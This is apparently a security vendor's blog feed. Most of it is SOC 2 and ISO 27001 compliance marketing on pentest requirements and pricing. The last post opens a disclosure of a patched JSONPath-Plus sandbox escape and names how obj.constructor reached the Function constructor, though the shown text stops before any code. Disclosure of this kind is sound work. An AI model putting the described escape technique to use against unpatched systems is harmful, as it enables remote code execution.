HackZero Research

SOC 2 compliance software with penetration testing included

cuau@hackzero.ai (Cuauhtli Padilla) — Thu, 13 Aug 2026 00:00:00 GMT

Which platforms include a penetration test with SOC 2 compliance?

Almost none of them do. Vanta, Drata and Secureframe automate the compliance program and refer the penetration test to a partner firm, so the standard SOC 2 purchase is three separate vendors: a platform, a testing firm, and the CPA who signs the report. Only the last of those three has to stay separate.

That last sentence is the whole subject of this page. One of those three splits is a rule. The other is a business decision, and you are paying for it.

On this page: the three vendors · what each platform includes · why the test gets referred out · the line that cannot be bundled · when to buy separately · what auditors accept · the cost either way · how to evaluate an offer

The three vendors in a standard SOC 2 purchase

Nobody sells “a SOC 2”. You assemble one, usually from three parties who each run their own sales process.

Vendor	What they sell	2026 range	Contract
Compliance platform	Controls, evidence collection, monitoring, policies	$10,000 to $20,000 a year	Annual, per seat or per framework
Penetration testing firm	The test itself, and the report	$4,000 to $12,000 a test	Per engagement, scoped each time
Independent CPA firm	The attestation opinion	$7,000 to $50,000	Per examination

Only one of the three separations is a rule

The CPA is separate because an attestation engagement requires it. The pentest firm is separate because the platform vendor decided not to build one. Those are very different reasons, and conflating them is how the market talks buyers into treating a two-vendor overhead as though it were a compliance requirement. Our SOC 2 cost breakdown prices each line item on its own.

What each platform actually includes

This is the answer to the question in the title, laid out plainly.

Vendor	SOC 2 program	Pentest included	Published price
Vanta	Yes, category leader	No, partner referral	No, quote only
Drata	Yes	No, partner referral	No, quote only
Secureframe	Yes	No, partner referral	No, quote only
XBOW	No	Testing is the product	No, per test
Horizon3.ai	No	Testing is the product	No, quote only
HackZero	Yes	Yes, every month	$299 / $499 a month

You can verify this yourself in ten minutes

None of this requires taking our word for it. Drata publishes a service partner directory listing the firms that do the testing, and its own SOC 2 explainer describes a customer doing exactly what the model implies:

So, they chose to partner with one of Drata’s service partners to conduct an external penetration test during their SOC 2 observation period.

Vanta’s structure is the same, with a partner finder and a help-centre article explaining how test results get into the platform rather than how the platform produces them. Neither company hides it. It is simply not the thing most buyers check before signing.

Why the test gets referred out

A services business does not fit inside a software business

Penetration testing is delivered by people with certifications, and its cost scales with tester-days. Compliance automation is software, where the second customer costs almost nothing to serve. Bolting a services business onto a software business drags gross margin down and makes the whole company harder to value, so the rational move for a venture-scale platform is to refer the work and keep the software margin.

The referral is a margin decision, not a trick

Worth being fair about this. A referral network is a legitimate structure, the partner firms are usually good, and some of them discount for platform customers. What the structure costs you is not integrity. It is a second procurement cycle, a second scoping conversation, a second renewal to negotiate, and a report that arrives as a PDF you then have to file against the right criteria by hand.

The line that genuinely cannot be bundled

The attestation. Every serious version of this argument ends at the same sentence in the AICPA’s attestation standards:

An attestation engagement requires the practitioner to be independent of the responsible party.

The firm signing the opinion cannot also sell you the software it is opining on or fix the controls it is testing. That is why the SOC suite of services is built around a report rather than a certificate, and why no honest vendor sells an end-to-end SOC 2 with the audit inside it.

What “included” must never mean

If a vendor quotes one number covering the platform, the test and the audit, run the arithmetic before you get excited. At a $150 hourly rate, a $2,500 bundle covering both an examination and a penetration test buys roughly sixteen hours for the pair, which is how that tier produces templated no-exception reports. The 2026 audit-mill scandal, 533 near-identical reports across 455 companies, is why enterprise reviewers now read the methodology page before the findings.

So the defensible package is platform plus testing on one line, with the CPA paid directly by you. That is the structure we sell, and the direct payment is the point rather than an inconvenience.

When buying them separately is the right call

Against our own interest, because it is true often enough to say plainly:

Your auditor or your customer named a firm. Some enterprise reviewers and some regulated buyers want a specific brand on the report cover. Argue if you like, but you will usually lose, and the deal is worth more than the principle.
You need more than SOC 2. If you are carrying ISO 27001, HIPAA, PCI, GDPR and FedRAMP at once, framework breadth is the thing to optimise for and the incumbents are genuinely better at it. See which frameworks require a third-party test.
The scope is not a web application. Internal network, Active Directory, hardware, physical and social engineering are different disciplines. A combined subscription scoped to apps and APIs will not cover them.
You want a human-led engagement specifically. Continuous automated testing with human validation is a different product from four named testers for two weeks. We sell that separately at $2,999 per engagement rather than pretending the subscription is the same thing.

What auditors accept from a continuous test

Auditors judge evidence, not vendors. A report earns its place when it carries a documented methodology, findings validated as actually exploitable, reproduction steps, and a retest confirming the fix. Whether a human or a machine produced it is not the test.

Where continuous testing genuinely wins is the observation window. A Type 2 asks whether your controls operated across months, not on one day, so twelve signed monthly reports speak to that question in a way a single annual PDF cannot. Drata says the quiet part out loud on its own site:

Penetration tests are technically not a requirement for SOC 2 compliance.

Which is correct, and matches what we wrote in does SOC 2 require a penetration test. The test is demanded by your customers and expected by your auditor, not mandated by the criteria. That makes the question “what evidence satisfies them”, and the answer is exploit-validated findings on a cadence, filed against the right criteria.

What each route costs

	Three vendors	One subscription plus a CPA
Platform	$10,000 to $20,000 a year	$2,990 or $4,990 a year
Penetration testing	$4,000 to $12,000 a test, once	Included, every month
Attestation	$7,000 to $50,000	From $2,500, paid direct
Contracts to manage	Three	Two
Price you can check before a call	None of it	All of it

Vanta and Drata publish no price list, so the platform band above comes from third-party procurement data rather than either vendor: Vendr’s buyer guides put observed Vanta contracts between $7,500 and $57,000 a year, median near $20,000. Our own numbers are on the pricing page and in our SOC 2 compliance guide, and the head-to-head detail is on HackZero vs Vanta and HackZero vs Drata.

How to evaluate a combined offer

Four questions, in the order that kills bad offers fastest.

Who signs the attestation? If the answer is anyone connected to the platform, stop. Nothing else on the list matters.
Who runs the test, employees or a referred partner? Both are acceptable. Only one of them is what “included” implies.
What does the report contain? Reproduction steps and a proof that the exploit fired, or a scanner export with severity labels. These are not the same document and your customer’s security reviewer knows it.
Is the retest included? A finding is not closed until someone re-runs it. If the retest is a new engagement, the annual number you were quoted is not the annual number you will pay.

A vendor that answers all four without a discovery call is unusual in this market, which is the actual reason we publish ours. If your situation is odd enough that the price list does not settle it, a 20-minute call will.

Does ISO 27001 require penetration testing?

cuau@hackzero.ai (Cuauhtli Padilla) — Sat, 08 Aug 2026 00:00:00 GMT

Does ISO 27001 require penetration testing?

No. Nothing in ISO/IEC 27001:2022 names penetration testing, in Annex A or anywhere else. But two controls, A.8.8 and A.8.29, require you to find technical vulnerabilities and to test security, and a penetration test is the cheapest defensible evidence that both operate. That is why auditors expect one.

On this page: what the standard says · why auditors expect a test · certificate vs report · scope · how often · evidence · cost

What the standard actually says

ISO/IEC 27001:2022 carries 93 controls in Annex A, grouped into four themes: organizational, people, physical and technological. Search all 93 for the words “penetration test” and you will not find them. The standard’s own catalogue entry describes an information security management system, not a testing regime.

Two controls do the work instead.

A.8.8, management of technical vulnerabilities

This is the one most testing programmes are hung on. It requires that information about technical vulnerabilities in the systems you use is obtained, that your exposure is evaluated, and that suitable measures follow. It says nothing about how you obtain that information, which is deliberate: a scanner, a vendor advisory feed and a penetration test are all valid inputs, and the standard leaves the choice to your risk assessment.

A.8.29, security testing in development and acceptance

This one is narrower and more often missed. It requires security testing to be defined and carried out within the development lifecycle, which means testing before things reach production, not only afterwards. If you ship software, this control is where “we run a test once a year on the live site” starts to look thin.

The two that quietly widen the scope

A.8.25, secure development lifecycle, and A.8.31, separation of development, test and production environments, both interact with how you test. If you test in an environment that does not resemble production, you have evidence for one control and a gap in another.

Why auditors expect one anyway

Assurance is the word the standard keeps using

Because the certification body’s job is to see whether the controls you claimed in your Statement of Applicability actually operate, and testing is the evidence that is hardest to argue with. The UK’s National Cyber Security Centre, whose penetration testing guidance is the reference most European auditors reach for, defines the exercise in terms that map neatly onto A.8.8:

Penetration testing is a method for gaining assurance in the security of an IT system by attempting to breach some or all of that system’s security, using the same tools and techniques as an adversary might.

Assurance is the operative word. An advisory feed tells you a vulnerability exists somewhere in the world. A test tells you whether it exists in your system, which is the question A.8.8 actually asks.

The difference from SOC 2 that matters

This is worth being precise about, because the two get discussed interchangeably and they are structurally different.

	ISO 27001	SOC 2
What you get	A certificate with a scope statement and an expiry	A report containing a CPA firm’s opinion
Who issues it	An accredited certification body	A licensed CPA firm
Oversight	National accreditation bodies such as UKAS under the IAF multilateral agreement	State boards of accountancy and AICPA peer review
Cycle	Initial audit, surveillance in years 1 and 2, recertification in year 3	A new report every period, typically annually
”Certified” is correct	Yes	No, there is no such thing

One caveat on the certificate, because unaccredited certificates circulate and they are not equivalent:

Certification issued by a body that is not itself accredited carries no assurance that the certification process met an international standard.

Check that the body appears on a national accreditation register before you pay, and check the same for a supplier’s certificate before you accept it.

So “show me your ISO certificate” is a reasonable request, while “show me your SOC 2 certificate” is a category error, as our SOC 2 compliance guide explains at length. If you are being asked for both, note that the testing evidence is largely reusable while the paperwork is not.

Scope is the finding nobody expects

The most common testing-related nonconformity here is not “you did not test”. It is that the test scope and the ISMS scope do not match.

Your Statement of Applicability records which controls apply and why. Your risk assessment records what you decided to worry about. If those documents identify application-layer risk across three services and your test covered one, the gap is visible in your own paperwork before the auditor even reads the report.

The fix is boring and it works: write the scope down first, test to it, and keep the two in step whenever either changes. A test that is narrower than your documented risk is worse than no test, because it is a written admission.

How often you actually need to test

There is no mandated interval, and anyone who tells you the standard says annually is describing convention rather than text. What the standard requires is that your approach follow from risk.

That said, the convention exists for a reason and auditors are comfortable with it. Once a year plus after any significant change is the defensible baseline. Significant change means what you would expect: a new internet-facing service, an authentication rewrite, a cloud migration, a new processing location.

The awkward case is the one most software companies are actually in. If you deploy weekly, an annual test describes a system that has since been replaced many times over, and the certificate does not care but your enterprise buyer’s security questionnaire will. Continuous testing resolves that mismatch by making the evidence continuous too, which also happens to suit the three-year certification cycle better than a single annual burst.

What to hand the auditor

Four things, and the fourth is the one people forget.

Evidence	Why the auditor wants it
The test report, with methodology	Shows what was actually done, not just what was found. This section is read first
Scope agreed in advance	Ties the test to the ISMS boundary and the risk assessment
A remediation record, with dates	A.8.8 requires that measures follow. Findings with no closure record are the gap
Retest evidence for anything material	Proves the measure worked, rather than that a ticket was closed

Our compliance evidence page covers the format, and does SOC 2 require a penetration test covers the equivalent expectation on the SOC 2 side, including the observation window rule that catches first-time buyers.

What it costs

The test itself is priced like any other penetration test: tester-days times a day rate, so $5,000 to $30,000 for a web application from a credible boutique, with cloud estates running higher. Our penetration testing cost breakdown has the bands by engagement type.

The certification is separate and is where ISO differs from SOC 2 on cost structure. You pay an accredited body for the initial audit and then again for surveillance, and the fee scales with the size of the ISMS and the number of sites rather than with trust criteria. Budget for the three-year cycle rather than the first invoice.

Ours is published: $299 a month under ten people and $499 at ten or more, which includes a penetration test every month rather than once a year, unlimited if you bring your own Anthropic key. A human-led engagement is $2,999 per engagement on top. There is no quote call, and if your situation is genuinely unusual a 20-minute call will settle it faster than a scoping form.

SOC 2 audit cost in 2026: every line item, priced

cuau@hackzero.ai (Cuauhtli Padilla) — Sat, 08 Aug 2026 00:00:00 GMT

How much does a SOC 2 audit cost?

A SOC 2 Type 2 examination costs $7,000 to $50,000 in 2026 from a traditional CPA firm, and the whole first-year program runs $15,000 to $60,000 once the platform and the penetration test are counted. Most of that spread is scope, not quality.

Our own all-in is $6,088 for a first year under ten people, published, with a penetration test every month included. Here is where every dollar in a SOC 2 quote comes from, line by line.

On this page: the three line items · what sets the CPA’s floor · why published ranges run high · the levers that cut the fee · certification cost · year two · our numbers

The three line items vendors blur

Nobody buys “a SOC 2”. You buy three things from three parties, and every confusing price article mixes them.

Line item	Who bills you	2026 range	What moves it
The examination	An independent CPA firm	$7,000 to $50,000	Criteria count, window length, products, carve-outs
Compliance platform	A software vendor	$0 to $25,000 a year	Headcount, framework count, integrations
Penetration test	A security firm	$4,000 to $25,000	Surface, whether it is human-led, retest policy

Only one of the three requires a licence

Only the examination requires a CPA. That matters, because it is the line you cannot compete away, and it is the line every platform in this market would prefer you not think about separately. The engagement runs under the AICPA’s attestation standards, and independence is the reason the market is split this way at all:

An attestation engagement requires the practitioner to be independent of the responsible party.

The firm signing the opinion cannot also sell you the software it is opining on or fix the controls it is testing. That is why nobody can honestly sell you an end-to-end SOC 2 with the audit inside it, and why the SOC suite of services is structured around a report rather than a certificate.

They also arrive on different clocks

The platform bills monthly from the day you start, the pentest bills once per engagement, and the CPA bills around fieldwork, which is months later. A budget built from one blended number tends to break in the second quarter.

What actually sets the CPA’s floor

The examination fee is hours multiplied by a rate, and the hours are less elastic than founders expect. A Security-only Type 2 on one product, with evidence already collected and mapped, is still real work:

Planning, risk assessment, and agreeing the system boundary
Walkthroughs of each control with the person who operates it
Sample selection and testing across the observation window
Partner review, then an independent quality review of the file
Drafting the report, including management’s assertion
The firm’s overhead: licensure, peer review, liability insurance

The fixed costs nobody counts

That last line is the one nobody counts. Only a firm licensed by a state board of accountancy may issue the report, under NASBA and state licensure rules, and an AICPA-member firm must also submit its practice to outside inspection:

Firms are required to have a peer review of their accounting and auditing practice once every three years.

That review, the licence and the professional liability cover are all amortised across a small number of engagements a year. It is a fixed cost per client that does not shrink when your company is tiny, and it is why the peer review public file is worth checking before you hire anyone: a firm with no record in it is not doing the work you think you are buying.

Which is why the honest floor for a real examination sits in the low four figures rather than the low three. A firm that is not covering those costs is either subsidising you from another service line or is not doing the work.

Why the published ranges run high

Look at who wrote the number

Search “SOC 2 audit cost” and the consensus is $30,000 to $50,000. Look at who wrote those pages.

Most top results belong to compliance platforms. A large audit number makes a subscription look like a rounding error, so there is no incentive to report the bottom of the market. The rest are directories, and one prominent “data from 171 firms” resource labels its own figures directional estimates while selling sponsored placement to the firms it ranks. Neither is lying exactly. Neither is a price list.

The floor is not the average

The countervailing evidence is public if you look for it. One US CPA firm now publishes an interactive audit-fee estimator whose default for a team of one to five is a $4,000 year-one total, and its own marketing charts the collapse from $80,000 in 2011 to a few thousand in 2026. That number is not the market average. It is proof that the market average is not the market floor.

The five levers that actually cut the fee

Scope is the entire game, and only some of it is yours to move.

Trust criteria. Security is the only category almost every buyer actually asks for, and it is 33 of the Trust Services Criteria. Availability adds a handful, Confidentiality a couple. Adding all five can double the fieldwork for a report nobody asked for.
The observation window. Three months is the shortest credible Type 2 window. Worth knowing before you negotiate: sample sizes are driven by how often a control runs, not by how long the window is, so six months is usually a modest increase in hours rather than double.
One product, one cloud account. A second product is a second system boundary and often the largest single jump in a quote.
Carve out your subservice organisations. The carve-out method excludes your cloud provider’s own controls from your report and leans on their SOC 2 instead. The inclusive method drags them into your scope. Carve out.
Arrive auditable. Evidence collected, mapped to criteria, populations pulled from source systems, and the system description written before fieldwork opens. This is the only lever that cuts hours without cutting scope, and it is the one a platform is actually for.

What does not work is asking the auditor to test less. That is the one thing a CPA cannot sell you.

What “SOC 2 certification cost” means

Nothing, strictly. There is no SOC 2 certification. SOC 2 is an attestation report in which a licensed CPA firm expresses an opinion, under the AICPA’s attestation standards. No body certifies you, no logo is awarded, and no registry lists you. Our SOC 2 compliance guide covers why the distinction keeps mattering in procurement.

So when a search says certification cost, it means the audit fee plus everything it took to become auditable. That is the number this page is about, and it is the number you should ask any vendor for.

What year two costs

The prep collapses, the examination does not

Cheaper, and less cheaper than you would hope.

The prep genuinely collapses: the control set exists, the evidence pipes are connected, and the system description needs an edit rather than an author. But the examination repeats in full. New window, fresh samples, fresh report, fresh partner and quality review. Plan on 70 to 90 percent of the first audit fee, every year, plus the platform, plus continued testing.

The cheap tier, and how to tell it apart

A low number is not automatically a bad one. A bundled low number usually is. Run the arithmetic. An auditor billing $150 an hour who sells one fee near $2,500 covering both the audit and the penetration test has roughly 16 hours for the pair. Sixteen hours cannot produce a tested opinion and a real test, which is why that tier’s reports converge on templated no-exception findings. The 2026 audit-mill scandal, 533 near-identical reports across 455 companies, is why enterprise reviewers now read the methodology page before the findings.

The same headline number is a different product when the testing was bought separately: the test runs all year on its own subscription, evidence arrives pre-mapped, and every CPA hour goes to the audit. That is how an attestation prices low without becoming a mill, and why we will not sell a bundle with the opinion inside it. See does SOC 2 require a penetration test for the timing rule that trips first-time buyers, and penetration testing cost for where day rates come from.

Our numbers, in the open

	Under 10 people	10 people or more
Platform, controls, monthly pentest	$299/mo, or $2,990/yr	$499/mo, or $4,990/yr
CPA attestation, paid direct to the firm	from $2,500	from $2,500
First year, all in	$6,088, or $5,490 annually	$8,488, or $7,490 annually
Human-led pentest, if you want one	$2,999 per engagement	$2,999 per engagement

Why the attestation is not billed through us

Two things to notice. The attestation is paid directly to the independent CPA firm, never through us, because a fee moving between the platform and the auditor is exactly what compromises the independence the report depends on. And the monthly penetration test is inside the subscription, not an add-on, which is the line item the cheapest platform-plus-captive-auditor offers leave out entirely.

Against the traditional stack of a platform, a pentest firm and a CPA, the same first year runs $30,000 to $45,000. Our SOC 2 offer explains what we hand the auditor and what stays their call, and a 20-minute call will settle an unusual situation faster than a quote form.

Which frameworks require a third-party penetration test?

cuau@hackzero.ai (Cuauhtli Padilla) — Sat, 08 Aug 2026 00:00:00 GMT

Which frameworks require a third-party penetration test?

Three do: FedRAMP, the CSA Cloud Controls Matrix, and DORA. PCI DSS and NYDFS require a penetration test but explicitly accept an internal tester. SOC 2 and ISO 27001 require no penetration test at all. Almost every vendor page you will read on this gets it wrong in the same direction.

On this page: the matrix · the three that mean it · required but not external · not required at all · independence · what is changing · what to do

The matrix

Read “requires a pentest” and “must the tester be external” as two separate questions. Almost all of the confusion in this market comes from collapsing them into one.

Framework	Requires a pentest?	Must the tester be external?	Interval
FedRAMP (Moderate, High)	Yes	Yes, a recognized 3PAO	Initial, then every 12 months
CSA CCM v4 / STAR	Yes	Yes, “independent third parties"	"Periodic”, undefined
DORA (EU financial)	Yes, threat-led	Effectively, internal needs regulator approval	At least every 3 years
PCI DSS 4.0.1	Yes	No, internal allowed if independent	Annually and after significant change
NYDFS Part 500	Yes	No, “internal or external”	At least annually
NIST SP 800-53 / FISMA	Yes (CA-8)	Only if CA-8(1) is selected	Organization-defined
SOC 2 (AICPA TSC)	No	n/a	n/a
ISO/IEC 27001:2022	No	n/a	n/a
GDPR Article 32	No, “testing” only	No	”Regularly”

The three that actually require an outside tester

FedRAMP is the strictest, and says so plainly

The FedRAMP Penetration Test Guidance sets the schedule in Section 7.0:

For each initial security authorization, a penetration test must be completed by a 3PAO as a part of the assessment process described in the SAP. This initial penetration test must be performed no more than 6 months prior to the submission of the SAR. Once within the continuous monitoring phase of the FedRAMP process, additional penetration testing activities must be performed at least every 12 months.

Section 8.0 adds that all penetration test activities must be performed by a 3PAO with demonstrated proficiency and a defined methodology, and that the team lead must hold an industry-recognized penetration testing credential. There is one nuance worth knowing before you buy: a FedRAMP-recognized 3PAO is required for systems with a JAB provisional authorization, while for an Agency authorization the guidance says this “may refer to any assessment organization designated by the agency AO.”

CSA STAR inherits it from one CCM control

The Cloud Controls Matrix is the control set behind the CSA STAR registry, and control TVM-06 in CCM v4.0 is unambiguous about who tests:

Define, implement and evaluate processes, procedures and technical measures for the periodic performance of penetration testing by independent third parties.

Note what is missing: an interval. “Periodic” is doing a lot of work, and in practice the assessor decides whether your cadence is defensible against your own risk profile.

DORA requires it, then makes internal testing hard on purpose

Regulation (EU) 2022/2554 requires in-scope financial entities to “carry out at least every 3 years advanced testing by means of TLPT” on live production systems. Article 27 is where externality bites. Internal testers are permitted only where the competent authority has approved their use, has verified that conflicts of interest are avoided, and where “the threat intelligence provider is external to the financial entity.” That is a third-party requirement written as a conditional.

Required but not external

PCI DSS names the tester’s qualities, not their employer

Requirement 11.4 asks for a tester qualified by experience or training with organizational independence from the systems being tested. The parenthetical

(not required to be a QSA or ASV)

appears repeatedly through Requirement 11.4 and the SAQs. A qualified internal resource is explicitly acceptable. The full requirement breakdown is here, including the retest clause in 11.4.4 that most firms bill separately at 10% to 25% of the original fee.

NYDFS spells out both options in one sentence

The 2023 amendment to 23 NYCRR Part 500 retitled Section 500.5 as vulnerability management and requires covered entities to conduct

penetration testing of their information systems from both inside and outside the information systems’ boundaries by a qualified internal or external party at least annually

Two directions of testing, one annual interval, either kind of tester. Anyone telling a New York covered entity that Part 500 forces them to hire an outside firm has not read the clause.

NIST makes independence an optional enhancement

This one surprises people, because FISMA and FedRAMP both build on it. The base control CA-8 in NIST SP 800-53 Rev 5 says only to conduct penetration testing at an organization-defined frequency, and its discussion states that testing “can be conducted internally or externally” and that “risk assessments guide the decisions on the level of independence required.” Externality arrives only when the CA-8(1) enhancement is selected on top:

Employ an independent penetration testing agent or team to perform penetration testing on the system or system components.

The ones that do not require a test at all

SOC 2 and ISO 27001 are the two most requested frameworks in startup procurement and neither one requires a penetration test. We have written the long version for both: SOC 2 never names it, and ISO 27001 never names it either, though A.8.8 and A.8.29 make a test the cheapest defensible evidence.

GDPR belongs in this group too. Article 32(1)(d) requires “a process for regularly testing, assessing and evaluating the effectiveness of technical and organisational measures” and stops there. No method, no tester, no interval.

The current HIPAA Security Rule is the same shape. The Evaluation standard at 45 CFR 164.308(a)(8) asks a covered entity to “perform a periodic technical and nontechnical evaluation” and never mentions penetration testing.

Independence is the real constraint

Once you stop asking “is an outside test required” and start asking “is this tester independent of what they built”, most of the matrix collapses into one practical rule. NIST defines the bar as freedom “from perceived or actual conflicts of interest with respect to the development, operation, or management of the systems that are the targets of the penetration testing.”

Perceived is the operative word. Your platform lead may be the most rigorous tester in the building, and an assessor can still discount the evidence because a reasonable reader could suspect otherwise. At ten engineers, there is generally no internal resource who satisfies that test, which is why the internal option that PCI and NYDFS allow on paper is unavailable to most startups in practice.

What each rung costs

The bands below are market prices for a single web application, taken from our penetration testing cost breakdown. The point of the table is that rung 2 is the expensive one, even though it looks free.

Rung	Who tests	What it costs	What it unlocks
1	The team that built it	engineering time only	nothing that names independence
2	A separate internal team	a dedicated headcount, the largest number here	PCI 11.4, NYDFS 500.5, CA-8(1)
3	An external boutique firm	$5,000 to $30,000 per engagement	adds CSA CCM TVM-06 and DORA
3	HackZero, continuous	$299 or $499 a month, plus $2,999 per human-validated engagement	the same as any external firm
4	An accredited or recognized assessor	quoted per system; the pentest is one line inside a larger assessment	adds FedRAMP Moderate and High

What is changing

Two moves are worth watching, because both push in the same direction.

HHS proposed a rewritten HIPAA Security Rule in January 2025 that would require vulnerability scanning every six months and penetration testing at least once every 12 months, turning the framework in the “not required” column into one in the “required” column. It does not, as proposed, require an outside tester.

DORA’s TLPT regime has been live since January 2025, and it is the first major regime to write externality as a default with internal testing as a supervised exception rather than the reverse.

What to do with this

Pick the strictest framework you are genuinely in scope for and test once to that bar. Coverage and independence both flow downhill: a test that satisfies FedRAMP’s mandatory attack vectors satisfies PCI Requirement 11.4 and any SOC 2 control you wrote about testing. Running one engagement per framework is how companies end up paying three times for evidence a single well-scoped test would have produced, and the cost breakdown for a single engagement shows what each duplicate is worth.

Then check what your buyer wants, because it is usually stricter than your framework. A report from your own team clears an auditor and stalls in a security questionnaire, and the real cost of a compliance program is mostly determined by which of those two audiences you were optimising for.

SOC 2 compliance: what it is, what it costs, how long it takes

cuau@hackzero.ai (Cuauhtli Padilla) — Thu, 06 Aug 2026 00:00:00 GMT

SOC 2 compliance: what it is, what it costs, how long it takes

There is no such thing as being SOC 2 certified. SOC 2 produces a report in which a licensed CPA firm gives an opinion on your controls. No software vendor can grant it, including us. What a platform can do is remove the evidence work, which is where nearly all of the cost and the calendar time actually sits.

On this page: what it actually is · Type 1 or Type 2 · the five categories · what gets examined · cost · timeline · what a platform can and cannot do

What SOC 2 compliance actually is

SOC 2 is an attestation engagement performed under the AICPA’s attestation standards. A CPA firm examines the controls at a service organization against the Trust Services Criteria and issues a report containing its opinion. The AICPA’s own SOC materials describe the output as a report throughout.

There is no certificate

This is the single most common misunderstanding, and it shapes everything else. ISO 27001 has a certification body and issues a certificate. SOC 2 does not. There is no accreditation scheme, no registry, and no pass mark. There is a report, and inside it an opinion that is unqualified, qualified, adverse, or a disclaimer.

That matters commercially. When a buyer asks for “your SOC 2 certificate”, what they will accept is the report, usually under NDA. If a vendor sends you a one-page certificate with a logo on it, they have sent you marketing.

Who is allowed to issue the report

Only a CPA firm licensed by a state board of accountancy, subject to NASBA and state licensure rules and to AICPA peer review. This is not a formality. It is the reason the market is structured the way it is: the firm signing the opinion has to be independent of the systems it is auditing, so it cannot also sell you the compliance software or do the remediation work it is opining on.

An attestation engagement requires the practitioner to be independent of the responsible party.

Any vendor telling you they will “get you SOC 2 compliant” end to end, including the audit, is describing an arrangement that independence rules do not permit. The honest version of that sentence is that they do the preparation and an independent CPA does the audit.

Type 1 or Type 2

SOC 2 is one report in the AICPA’s SOC suite of services, alongside SOC 1 for financial reporting controls and SOC 3 for a public summary. Within SOC 2 the two report types answer different questions, and the difference is months of calendar time.

	Type 1	Type 2
Question answered	Are the controls suitably designed?	Did the controls actually operate?
Time covered	A single point in time	A stated period (the observation window)
Typical window	n/a	3 to 12 months
Realistic timeline	4 to 8 weeks	4 to 6 months for a first 3-month window
What buyers want	Accepted as an interim	The one enterprise security teams ask for

The observation window is your calendar

Nothing about a Type 2 can be compressed below its window. The auditor is testing whether controls operated over a period, so the period has to elapse. A 3-month window is the shortest most firms will sign, and 12 months is the steady state once you are renewing.

This is also the trap in the sales conversation. A deal that needs a Type 2 report in six weeks cannot have one, no matter what you spend. What you can do is issue a Type 1 now and commit contractually to the Type 2 date, which is a normal and accepted move.

The five categories, and why you need one

SOC 2 has five Trust Services Categories, described in the AICPA’s SOC 2 guidance. Scope is a choice, and most companies over-scope it.

Category	Required?	Add it when
Security (common criteria)	Always	Every SOC 2 engagement includes it
Availability	Optional	You have signed uptime commitments
Processing integrity	Optional	You process transactions where correctness is the product
Confidentiality	Optional	A contract names confidential data handling specifically
Privacy	Optional	You handle personal information and a customer requires it

Security is the only category you certainly need

The common criteria, numbered CC1 through CC9, cover the control environment, communication, risk assessment, monitoring, control activities, logical access, system operations, change management, and risk mitigation. That is the set every SOC 2 report contains.

Each extra category widens the scope, extends fieldwork, and increases the fee with no commercial return unless a customer actually asked for it. Start with security only. Add categories when a contract makes you.

What the auditor actually examines

Not your intentions. Evidence that a control operated, repeatedly, across the window. Access reviews with dates and reviewers. Change tickets tied to approvals. Vulnerability and patch records. Onboarding and offboarding trails. Incident records. Vendor reviews.

The evidence problem is the real cost

Controls are usually not the hard part. Most engineering teams already do code review, use SSO, and patch. The expensive part is proving each of those ran on a schedule, for months, in a form an auditor accepts.

The auditor tests whether controls operated effectively throughout the specified period, not whether they exist today.

That is why auditor hours balloon on first engagements. When evidence is scattered across Slack threads, spreadsheets, and cloud consoles, the auditor bills for the archaeology.

Penetration testing sits inside this. No Trust Services Criterion requires a pentest, and we say so plainly in does SOC 2 require a penetration test, but auditors expect one and buyers ask for the report itself. The timing rule matters: the test has to land inside the window to count as evidence for it. It is also a separate purchase almost everywhere, by market convention rather than by rule: which platforms include a pentest covers who bundles what.

What SOC 2 compliance costs in 2026

Three separate line items, and vendors routinely blur them.

Line item	Who bills you	Typical range
Compliance platform	The software vendor	$0 to $25,000 per year
Penetration test	A security firm	$4,000 to $25,000 per engagement
The audit itself	An independent CPA firm	$7,000 to $50,000 per report

The audit fee has a hard floor. A CPA firm carries licensure, peer review, and liability, and the opinion takes real hours. Anyone advertising a complete SOC 2 for a few hundred dollars is not paying for a real audit.

Our SOC 2 audit cost breakdown takes each of those three lines apart: what sets the CPA’s floor hour by hour, the five scope levers that legitimately cut the fee, what year two costs, and why the published $30,000 to $50,000 ranges come from people whose subscription looks cheaper beside a large audit number.

Where our own numbers sit

We publish ours, which most of this market does not. Pricing is $299 a month under ten people and $499 at ten or more, or $2,990 and $4,990 paid annually. The CPA attestation starts at $2,500 and is paid directly to the independent firm, never through us, because routing it through us is exactly what would compromise the independence the report depends on. A human-validated penetration test is $2,999 per engagement, a one-time add-on rather than a monthly figure.

For the wider market, our penetration testing cost breakdown shows where day rates come from, and PCI DSS penetration testing requirements covers the framework with the strictest testing language, which is useful contrast if you are scoping for more than SOC 2.

How long it takes

For a first Type 2 with a 3-month window, 4 to 6 months from a standing start is realistic: 2 to 6 weeks to stand up controls and connect evidence sources, 3 months of window, then 3 to 6 weeks of fieldwork and report drafting. A Type 1 collapses that to 4 to 8 weeks because there is no window to wait out.

The variable that moves this most is not audit speed. It is how long you take to close the gaps found in readiness, because the window cannot start until the controls it will observe are actually running.

What a platform can and cannot do

A compliance platform cannot make you compliant and cannot issue an opinion. What it can do is remove the evidence work: connect to your cloud, code hosting, and identity provider, map what it finds to the criteria, and keep collecting for the whole window so the auditor gets an organized package instead of a shoebox.

That is the honest boundary, and it is worth insisting on when you evaluate vendors. The question to ask is not “will you make us compliant”. It is “what percentage of my evidence will you collect without me touching it, and which controls will still be manual”.

Our own answer to why security and compliance belong in one product is on the SOC 2 page, and what lands in your evidence library after each run is on compliance.

How to start

Pick the report type your buyer actually needs. Type 1 unblocks a deal now.
Scope security only unless a contract names another category.
Run a readiness assessment and fix the gaps before opening the window.
Choose the CPA firm early. Their calendar, not yours, sets the end date.
Open the window and let evidence collect for the full period.

Reviewed against the 2017 Trust Services Criteria with revised 2022 points of focus.

The Function constructor escapes safe eval: an RCE we fixed in JSONPath-Plus

ryan@hackzero.ai (Ryan Cruz) — Tue, 04 Aug 2026 00:00:00 GMT

A Function-constructor escape we fixed in JSONPath-Plus

We reported and fixed a remote code execution escape in JSONPath-Plus, a library pulled 12 million times a week: its “safe” eval still handed back the Function constructor through a property read, so obj.constructor reached Function and ran arbitrary code. The fix, publicly credited to Ryan Cruz in PR #266, refuses to return Function.

On this page: the bug · what safe eval is · the escape · the fix · the CVE chain · disclosure · what it means for testing

The bug in one sentence

JSONPath-Plus lets callers evaluate path expressions through an eval mode that is meant to be sandboxed. The sandbox blocked the Function constructor in one code path and not another, so a member expression like obj.constructor returned Function itself, and everything downstream of the Function constructor is arbitrary code.

Field	Value
Package	jsonpath-plus (npm)
Reach	~12.4 million downloads a week
Class	Sandbox escape to the Function constructor (RCE)
Root cause	member-expression path returned `Function` unchecked
Fix	PR #266, one added clause, merged July 2, 2026
Credit	Publicly “Reported by: Ryan Cruz”

What safe eval was supposed to do

